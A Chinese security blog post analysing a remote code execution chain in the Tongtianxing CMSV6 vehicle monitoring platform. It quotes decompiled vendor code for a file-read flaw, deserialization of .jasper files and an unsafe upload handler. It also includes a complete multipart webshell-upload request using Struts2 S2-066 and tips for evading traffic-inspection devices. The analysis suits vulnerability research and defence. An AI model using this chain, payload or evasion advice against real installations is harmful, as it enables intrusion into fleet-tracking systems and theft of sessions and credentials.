浅析通天星CMSV6车载定位监控平台远程代码执行漏洞
2024-5-18 21:28:19 Author: y4tacker.github.io(查看原文) 阅读量:48 收藏

写在前面

看了一下通告看着还是比较有意思的，通天星CMSV6车载定位监控平台远程代码执行漏洞

第一步是通过任意文件读取漏洞，读取log日志获取admin的session信息

第二步通过默认密码登录ftp服务器上传文件(或通过后台任意文件上传漏洞)

第三步触发上传文件中的恶意代码

正文

采用了经典SSH架构

任意文件读取

关于任意文件读取，从官方安全公告也不难看出:

(中危)修复StandardSchoolBusAction_downLoad.action接口任意文件下载问题

漏洞点位于StandardSchoolBusAction的downLoad功能，这部分访问规则的配置看struts2.xml即可

定义了class与mothod的访问方式

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<action name="**/*_*.action" class="{2}" method="{3}">

经过简单的分析发现，实际漏洞点在com.gpsCommon.action.CommonBaseAction#downLoad，代码逻辑比较简单就不详细分析了，相关代码如下，可以看到读取的文件不仅可以是使用绝对路径，也可以使用相对路径读取任意文件

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public String downLoad() {
    int result = 0;

    try {
        String filePath = this.getDownloadFileRealPath(this.getRequest());
        if ((!filePath.contains("tomcat/") || filePath.contains("tomcat/ttxapps")) && !filePath.contains(".xml") && !filePath.contains("WEB-INF") && !filePath.contains("classes")) {
            if (!AssertUtils.isNull(filePath)) {
                InputStream ins = null;
                BufferedInputStream bins = null;
                OutputStream outs = null;
                BufferedOutputStream bouts = null;
                Integer requestStringEx = this.getRequestInteger("isTure");
                Integer isStream = this.getRequestInteger("isStream");
                Integer isDel = this.getRequestInteger("isDel");
                String fileRealPath = null;
                if (requestStringEx != null && requestStringEx == 1) {
                    fileRealPath = filePath;
                } else {
                    fileRealPath = this.getDownloadFileRealPath(this.getServletContext(), filePath);
                }

                File file = new File(fileRealPath);
                if (file.exists()) {
                    ins = new FileInputStream(fileRealPath);
                    bins = new BufferedInputStream(ins);
                    outs = this.getResponse().getOutputStream();
                    bouts = new BufferedOutputStream(outs);
                    if (isStream == null || isStream != 1) {
                        this.setDownLoadParam(this.getRequest(), this.getResponse(), file.getName());
                    }

                    int b = false;
                    byte[] buffer = new byte[512];

                    int b;
                    while((b = bins.read(buffer)) != -1) {
                        bouts.write(buffer, 0, b);
                    }

                    bouts.flush();
                    ins.close();
                    bins.close();
                    outs.close();
                    bouts.close();
                    if (isDel != null && isDel == 1 && file.exists()) {
                        file.delete();
                    }
                } else {
                    result = 44;
                    this.addCustomResponse(ACTION_RESULT, 44);
                    this.addCustomResponse(ACTION_RESULT_TIP, "File Not Exist!");
                    this.log.error("下载的文件不存在");
                }
            } else {
                result = 8;
                this.addCustomResponse(ACTION_RESULT, 8);
                this.addCustomResponse(ACTION_RESULT_TIP, "Request Param Error!");
                this.log.error("下载文件时参数错误");
            }
        } else {
            result = 24;
            this.addCustomResponse(ACTION_RESULT, 24);
            this.addCustomResponse(ACTION_RESULT_TIP, "Permission denied!");
            this.log.error("用户无权限下载Tomcat内的文件");
        }
    } catch (Exception var14) {
        this.log.error(var14.getMessage(), var14);
        result = 4;
        this.addCustomResponse(ACTION_RESULT, 4);
        this.addCustomResponse(ACTION_RESULT_TIP, "Request Exception!");
    }

    return this.getReturnParam(result);
}

protected String getDownloadFileRealPath(HttpServletRequest request) {
    return this.getRequestStringEx("path");
}


public String getRequestStringEx(String parameter) {
    return RequestUtil.getRequestStringEx(parameter);
}

public static String getRequestStringEx(String parameter) {
    try {
        HttpServletRequest request = getRequest();
        if (request == null) {
            return null;
        } else {
            request.setCharacterEncoding("UTF-8");
            String param = request.getParameter(parameter);
            return param != null ? URLDecoder.decode(param, StandardCharsets.UTF_8) : null;
        }
    } catch (Exception var3) {
        log.error(var3.getMessage(), var3);
        return null;
    }
}

通过任意文件读取我们能很容易读取到session信息

image-20240518224902529

另外多提一嘴，漏洞点com.gpsCommon.action.CommonBaseAction#downLoad在抽象类当中，通过将tomcat下class手动打包为jar后分析，不难发现实际受影响的路由多达320个，因此实际利用时我们不必拘泥与官方公告提到的一种

image-20240518225312913

后台文件上传

文件上传有两种方式，一种通过FTP服务，如果用户为更改默认密码那么即可使用其登录上传文件

另一种，既然有了session，我们便很容易能够使用此session调用后台接口，比如WebuploaderAction#ajaxAttachAllFileUpload

image-20240518225613963

但很可惜的是代码中有关于上传文件后缀的严格限制，因此我们无法实现直接上传webshell文件

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String getsuffix = getsuffixEx(fileName);
if (!limitType(getsuffix)) {

反序列化

但我们不必灰心，在公告中我们不难发现上传了一些名为jasper后缀的文件

image-20240518230403232

因此我们需要去寻找加载恶意jasper文件的路由，在com.gps808.operationManagement.action.StandardLineAction#report

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public void report() {
    try {
        String format = this.getRequestString("format");
        String name = this.getRequestString("name");
        String lid = this.getRequestString("id");
        String direct = this.getRequestString("direct");
        String disposition = this.getRequestString("disposition");
        String reportTitle = "";
        StandardCompany line = (StandardCompany)this.standardLineService.getObject(StandardCompany.class, Integer.parseInt(lid));
        if (line != null) {
            reportTitle = line.getName();
            if (direct != null) {
                if (direct.equals("0")) {
                    reportTitle = reportTitle + "S";
                } else if (direct.equals("1")) {
                    reportTitle = reportTitle + "X";
                }
            }
        }

        AjaxDto<StandardLineStationRelationStation> stationRelation = this.standardLineService.getLineStationInfos(Integer.parseInt(lid), Integer.parseInt(direct), 1, " order by sindex asc ", (Pagination)null);
        List<Map> list = new ArrayList();
        String language = this.getAndUpdateSessionLanguage();
        if (stationRelation != null && stationRelation.getPageList() != null) {
            int i = 0;

            for(int j = stationRelation.getPageList().size(); i < j; ++i) {
                StandardLineStationRelationStation relation = (StandardLineStationRelationStation)stationRelation.getPageList().get(i);
                Map map = new HashMap();
                map.put("sindex", relation.getSindex());
                map.put("name", relation.getStation().getName());
                map.put("direct", this.getStationDirectEx(relation.getStation().getDirect(), language));
                map.put("stype", this.getStationTypeEx(relation.getStype(), language));
                map.put("lngIn", GpsUtil.formatPosition(relation.getStation().getLngIn()));
                map.put("latIn", GpsUtil.formatPosition(relation.getStation().getLatIn()));
                map.put("angleIn", relation.getStation().getAngleIn());
                map.put("speed", GpsUtil.getFormatSpeed(relation.getSpeed(), 1, new Boolean[0]));
                map.put("len", GpsUtil.getFormatLiCheng(relation.getLen()));
                list.add(map);
            }
        }

        Map mapHeads = new HashMap();
        mapHeads.put("sindex", LanguageCache.getLanguageTextEx("line_station_index", language));
        mapHeads.put("name", LanguageCache.getLanguageTextEx("line_station_name", language));
        mapHeads.put("direct", LanguageCache.getLanguageTextEx("line_station_direction", language));
        mapHeads.put("stype", LanguageCache.getLanguageTextEx("line_station_type", language));
        mapHeads.put("lngIn", LanguageCache.getLanguageTextEx("line_station_in_lng", language));
        mapHeads.put("latIn", LanguageCache.getLanguageTextEx("line_station_in_lat", language));
        mapHeads.put("angleIn", LanguageCache.getLanguageTextEx("line_station_in_angle", language));
        mapHeads.put("speed", LanguageCache.getLanguageTextEx("line_station_limit_speed", language) + " (KM/H)");
        mapHeads.put("len", LanguageCache.getLanguageTextEx("line_station_distance", language) + " (KM)");
        ReportPrint print = null;

        try {
            print = this.getReportCreate().createReport(name);
            print.setMapHeads(mapHeads);
            print.setReportTitle(reportTitle);
            print.setDateSource(list);
            print.setFormat(format);
            print.setDocumentName(name);
            print.setDisposition(disposition);
            print.exportReport();
        } catch (IOException var15) {
            this.log.error(var15.getMessage(), var15);
        } catch (ServletException var16) {
            this.log.error(var16.getMessage(), var16);
        } catch (Exception var17) {
            this.log.error(var17.getMessage(), var17);
        }
    } catch (Exception var18) {
        this.log.error(var18.getMessage(), var18);
        this.addCustomResponse(ACTION_RESULT, 1);
    }

}

在这些代码中我们重点关注this.getReportCreate().createReport(name);

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protected ReportCreater getReportCreate() {
    if (this.reportCreate == null) {
        this.reportCreate = new ReportCreater();
        this.reportCreate.setJasperReportPath(ServletActionContext.getServletContext().getRealPath("WEB-INF\\jasper"));
    }

    return this.reportCreate;
}


public ReportPrint createReport(String reportKey) throws IOException {
    try {
        return this._createReport(reportKey);
    } catch (JRException var3) {
        this.log.error(var3.getMessage(), var3);
        throw new IOException();
    }
}

继续跟进_createReport的调用，

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private ReportPrint _createReport(String reportKey) throws JRException, IOException {
    JasperReport jasperReport = this.getJasperReport(reportKey);
    Map parameters = this.getParameters_(reportKey);
    ReportPrint reportPrint = new ReportPrint(jasperReport, parameters);
    return reportPrint;
}

private JasperReport getJasperReport(String reportKey) throws IOException, JRException {
    JasperReport jasperReport = null;
    if (this.jasperDesignMap.containsKey(reportKey)) {
        jasperReport = (JasperReport)this.jasperDesignMap.get(reportKey);
    } else {
        jasperReport = this.getJasperReportFromFile(reportKey);
        this.jasperDesignMap.put(reportKey, jasperReport);
    }

    return jasperReport;
}

private JasperReport getJasperReportFromFile(String reportKey) throws IOException, JRException {
    String filePath = this.jasperReportPath + "\\" + reportKey + ".jasper";
    File reportFile = null;
    JasperReport jasperReport = null;
    reportFile = new File(filePath);
    if (reportFile.exists() && reportFile.isFile()) {
        jasperReport = (JasperReport)JRLoader.loadObject(reportFile);
    }

    return jasperReport;
}




public static Object loadObject(File file) throws JRException {
    return loadObject(DefaultJasperReportsContext.getInstance(), (File)file);
}

public static Object loadObject(JasperReportsContext jasperReportsContext, File file) throws JRException {
    if (file.exists() && file.isFile()) {
        Object obj = null;
        FileInputStream fis = null;
        ObjectInputStream ois = null;

        try {
            fis = new FileInputStream(file);
            BufferedInputStream bufferedIn = new BufferedInputStream(fis);
            ois = new ContextClassLoaderObjectInputStream(jasperReportsContext, bufferedIn);
            obj = ois.readObject();
        } catch (IOException var17) {
            throw new JRException("util.loader.object.from.file.loading.error", new Object[]{file}, var17);
        } catch (ClassNotFoundException var18) {
            throw new JRException("util.loader.class.not.found.from.file", new Object[]{file}, var18);
        } finally {
            if (ois != null) {
                try {
                    ois.close();
                } catch (IOException var16) {
                }
            }

            if (fis != null) {
                try {
                    fis.close();
                } catch (IOException var15) {
                }
            }

        }

        return obj;
    } else {
        throw new JRException(new FileNotFoundException(String.valueOf(file)));
    }
}

从以下调用链不难发现最终会通过文件内容触发反序列化执行，并且在这过程中文件名未做校验可以穿越到FTP服务目录下

com.framework.jasperReports.ReportCreater#_createReport=>com.framework.jasperReports.ReportCreater#getJasperReport=>com.framework.jasperReports.ReportCreater#getJasperReportFromFile=>net.sf.jasperreports.engine.util.JRLoader#loadObject=>net.sf.jasperreports.engine.util.ContextClassLoaderObjectInputStream#readObject

因此最终漏洞的完整利用就出来了

尝试突破文件上传限制

但我们也知道如果仅仅是依赖ftp默认用户名实现文件上传的话那可就太难了，在开始前简单聊一下struts2的配置

在配置中写到了action的访问方式，但我们的路由访问并未出现全类名，那它是怎么找到具体的类的呢？

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<action name="*_*.action" class="{1}" method="{2}">

经过查找，可以在applicationContext-xxxx.xml中定义的bean中找到答案，我们可以直接使用bean-name得到这个类

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<bean name="StandardApiAction" class="com.gps808.api.action.StandardApiAction" scope="prototype" parent="standardUserBaseAction">
xxxxxx

而如果这个类未在xml中定义我们就需要使用全类名来标识这个类，此时我们便可以将目标锁定到com.framework.web.action.FileUploadAction#upload中

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package com.framework.web.action;

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.List;

public class FileUploadAction extends BaseAction {
    private static final long serialVersionUID = 1L;
    private String describe;
    private List<File> uploadFile;
    private List<String> uploadFileFileName;
    private List<String> uploadFileContentType;

    public FileUploadAction() {
    }

    public boolean hasOperatorPrivi() {
        return true;
    }

    public void upload() {
        for(int i = 0; i < this.uploadFileFileName.size(); ++i) {
            BufferedInputStream bis = null;
            BufferedOutputStream bos = null;
            String fileName = (String)this.uploadFileFileName.get(i);

            try {
                if (!"".equals(fileName)) {
                    FileInputStream fis = new FileInputStream((File)this.uploadFile.get(i));
                    FileOutputStream fos = new FileOutputStream("C:\\" + fileName);
                    bis = new BufferedInputStream(fis);
                    bos = new BufferedOutputStream(fos);
                    byte[] b = new byte[1024];
                    int len = true;

                    int len;
                    while((len = bis.read(b)) != -1) {
                        bos.write(b, 0, len);
                    }
                }
            } catch (Exception var17) {
            } finally {
                try {
                    if (bis != null) {
                        bis.close();
                    }

                    if (bos != null) {
                        bos.close();
                    }
                } catch (IOException var16) {
                }

            }
        }

    }

    public String image() throws Exception {
        try {
            this.upload();
        } catch (Exception var2) {
            this.log.error(var2.getMessage(), var2);
            this.addCustomResponse(ACTION_RESULT, 1);
        }

        return "success";
    }

    public String getDescribe() {
        return this.describe;
    }

    public void setDescribe(String describe) {
        this.describe = describe;
    }

    public List<File> getUploadFile() {
        return this.uploadFile;
    }

    public void setUploadFile(List<File> uploadFile) {
        this.uploadFile = uploadFile;
    }

    public List<String> getUploadFileFileName() {
        return this.uploadFileFileName;
    }

    public void setUploadFileFileName(List<String> uploadFileFileName) {
        this.uploadFileFileName = uploadFileFileName;
    }

    public List<String> getUploadFileContentType() {
        return this.uploadFileContentType;
    }

    public void setUploadFileContentType(List<String> uploadFileContentType) {
        this.uploadFileContentType = uploadFileContentType;
    }
}

可以在代码中看到直接的路径拼接，FileOutputStream fos = new FileOutputStream("C:\\" + fileName);，因此我们便可以直接上传jasper文件并触发反序列化了

另一方面既然可以任意写入，我们很容易想到在子目录下写入webshell文件，但由于是struts2的上传处理，在org.apache.struts2.interceptor.FileUploadInterceptor中，在这个拦截器最终获取文件名时，会处理带\以及/的文件名

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protected String getCanonicalName(final String originalFileName) {
      String fileName = originalFileName;

      int forwardSlash = fileName.lastIndexOf('/');
      int backwardSlash = fileName.lastIndexOf('\\');
      if (forwardSlash != -1 && forwardSlash > backwardSlash) {
          fileName = fileName.substring(forwardSlash + 1);
      } else {
          fileName = fileName.substring(backwardSlash + 1);
      }
      return fileName;
  }

这时候怎么办呢？我们知道struts2在23年年底出了一个新漏洞，这时候便可以排出用场了，忘了的可以回顾我之前的文章，Apache Struts2 文件上传分析(S2-066)

因此我们便能够构造，达到前台RCE的效果

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--------------------------HaQDiSzdPIerngHCcHgQNrLjEmThVzfuEVDTUvfv
Content-Disposition: form-data; name="UploadFile";filename="z12.jsp";
Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document

<%out.print("Hacked By Y4tacker");%>
--------------------------HaQDiSzdPIerngHCcHgQNrLjEmThVzfuEVDTUvfv
Content-Disposition: form-data; name="uploadFileFileName";

Program Files\CMSServerV6\tomcat\webapps\gpsweb\1.jsp
--------------------------HaQDiSzdPIerngHCcHgQNrLjEmThVzfuEVDTUvfv--

但很可惜新版本中struts2的依赖更新到了2.5.33的安全版本，并且将com.framework.web.action.FileUploadAction#upload强行设置了路径404并移除了上传处理逻辑，因此在新版本中也便失效了

结合S2的漏洞时间可以大胆猜测也许是在年底前删除的？当然由于我没有代码所以无处验证了，在实战环境中可以多做尝试

对抗流量设备的一些尝试

  • 不仅仅可以读取log_info.log获取用户session，还可以尝试读取web.xml文件，在当中配置了Druid监控的用户名以及密码，在老版本中这个配置默认启用，新版本中druid监控成为了可选项，但不失为一种漏洞利用的尝试

  • 使用全类名替代bean的获取形式，假如流量设备拦截路由为/StandardABCAction_downLoad，我们完全可以使用/com.xxx.xxxxAction_downLoad的形式尝试绕过

  • 我们不仅可以使用官方公告中使用的StandardSchoolBusAction路由，经过分析凡是继承了com.gpsCommon.action.CommonBaseAction的类均能使用


文章来源: https://y4tacker.github.io/2024/05/18/year/2024/5/%E6%B5%85%E6%9E%90%E9%80%9A%E5%A4%A9%E6%98%9FCMSV6%E8%BD%A6%E8%BD%BD%E5%AE%9A%E4%BD%8D%E7%9B%91%E6%8E%A7%E5%B9%B3%E5%8F%B0%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/
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